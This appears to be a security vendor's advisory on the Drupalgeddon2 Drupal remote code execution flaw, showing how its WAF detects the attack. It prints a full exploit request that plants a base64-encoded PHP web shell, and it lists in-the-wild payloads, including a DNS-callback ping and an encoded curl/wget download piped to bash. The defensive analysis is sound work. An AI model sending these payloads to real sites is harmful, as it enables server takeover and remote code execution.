Notice: Monitoring services will be discontinued from March 31st, 2019.
Summary
Drupal is a very popular open source Content Management System installed on many webservers. A recently announced patch for Drupal 7.x and 8.x has been released and drew a lot of attention due to the issue criticality. Soon after the patch, various researchers came up with the articles describing the issue and the attack vectors. Not long after that, a working exploit was published on Github. Multiple sources report that the vulnerability is being actively exploited with multiple variations of attack payloads.A vulnerability in multiple subsystems of Drupal could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system.
The vulnerability is due to an unspecified condition that exists in multiple subsystems of the affected software. An attacker could exploit this vulnerability by sending crafted input to the affected application on a targeted system. An exploit could allow the attacker to execute arbitrary code, which could result in a complete compromise of the affected Drupal site.
Attack
The original research has identified four parameter keys from Drupal FormAPI susceptible to injection. However, currently, only two of the parameters are exploited - “#lazy_builder” and “#post_render”. Note that this vulnerability is aggravated by the lack of authorization required, because the form targeted is the new user registration form. There are several POC attack payloads flooding the web, most of them are collected here. For our analysis we will use the most mature exploit script at this point from here:
'
Analyzing the traffic with Wireshark shows the HTTP request being issued:
```
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 192.168.233.142
Content-Length: 179
Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg== | base64 -d | tee s.php
```
Following the reports of exploitation attempts on the internet, there are more payloads identified that are injected through mail[][#markup] form parameter:
ping 192.168.233.142.mu6fea.ceye.io -c 1
echo `whoami`
phpinfo()
echo 123
whoami
touch 1.html
echo "xiokv"
echo KC91c3IvYmluL2N1cmwgLWZzU0wgaHR0c DovL3RjOHpkdy5pZjFqMHl0Z2t5cGEudGsvaSB8 fCAvdXNyL2Jpbi93Z2V0IGh0dHA6Ly90Yzh6 ZHcuaWYxajB5dGdreXBhLnRrL2kgLXFPLSkgfCAvYmluL2Jhc2g= | base64 -d | bash
Mitigation
Let’s observe how the attack is correctly detected and blocked. Using the “ping” payload and original POC from here, the WAF log for the request shows the Command Injection engine has identified the attack:
404 TCP_NC_MISS POST text/html;%20charset=iso-8859-1 http 10.169.2.157 80 /user/register ?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax - "python-requests/2.18.4" 10.169.4.101 474 445 - "Unavailable" - - 506 "10.75.88.230" "Unavailable" - 2 10.169.2.157 "unavailable" "Command Injection" 30 - "[{""eng"":""injection.command"",""part"":""post_arg"",""host"":""linux"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""},{""eng"":""injection.command"",""part"":""post_arg"",""host"":""windows"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""},{""eng"":""injection.command"",""part"":""post_arg"",""host"":""osx"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""}]" - - WAF_SCANNED
Drupalgeddon2 POC uses a more evolved technique – it first installs a PHP backdoor code in the initial POST request. Once it is deployed, the backdoor will accept and execute any command contained in parameter “c” of the GET requests destined to “s.php” backdoor file. This does not stop Symantec WAF from recognizing the parameter payload as command injection:
404 TCP_NC_MISS POST text/html;%20charset=iso-8859-1 http 10.169.2.157 80 /user/register ?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax - "Ruby" 10.169.4.101 469 506 - "Unavailable" - - 506 "10.75.88.230" "Unavailable" - 1 10.169.2.157 "unavailable" "Command Injection" 10 - "[{""eng"":""injection.command"",""part"":""post_arg"",""host"":""linux"",""version"":""3"",""data"":""echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA\/Pg== | base64 -d | tee s.php""}]" - - WAF_SCANNED
The authors are using a well-known obfuscation technique to hide the PHP code in base64-encoded string. Note that even if this technique is not used, WAF would block the PHP plaintext payload, albeit with the different Code Injection engine.
Conclusion
Drupal Security team has strongly advised to upgrade vulnerable Drupal versions to the appropriate patched versions (7.58 for Drupal 7.x and 8.5.1 for Drupal 8.x).
Update
On April 25, 2018 Drupal Security Team has published security advisory about another vulnerability related to the original CVE-2018-7600 and similar in nature. It was given the CVE number CVE-2018-7602. As with CVE-2018-7600, the freshly-dubbed Drupalgeddon3 has received the highest risk level of “Highly Critical”. As of now, there are at least two publicly available POCs exploiting this new vulnerability. Our message, however, has stayed the same: Symantec WAF customers are protected by default. This is yet another example of zero-day protection Content Nature Detection engines provide - even though the new vulnerability is located in the different form, the malicious payloads are still blocked.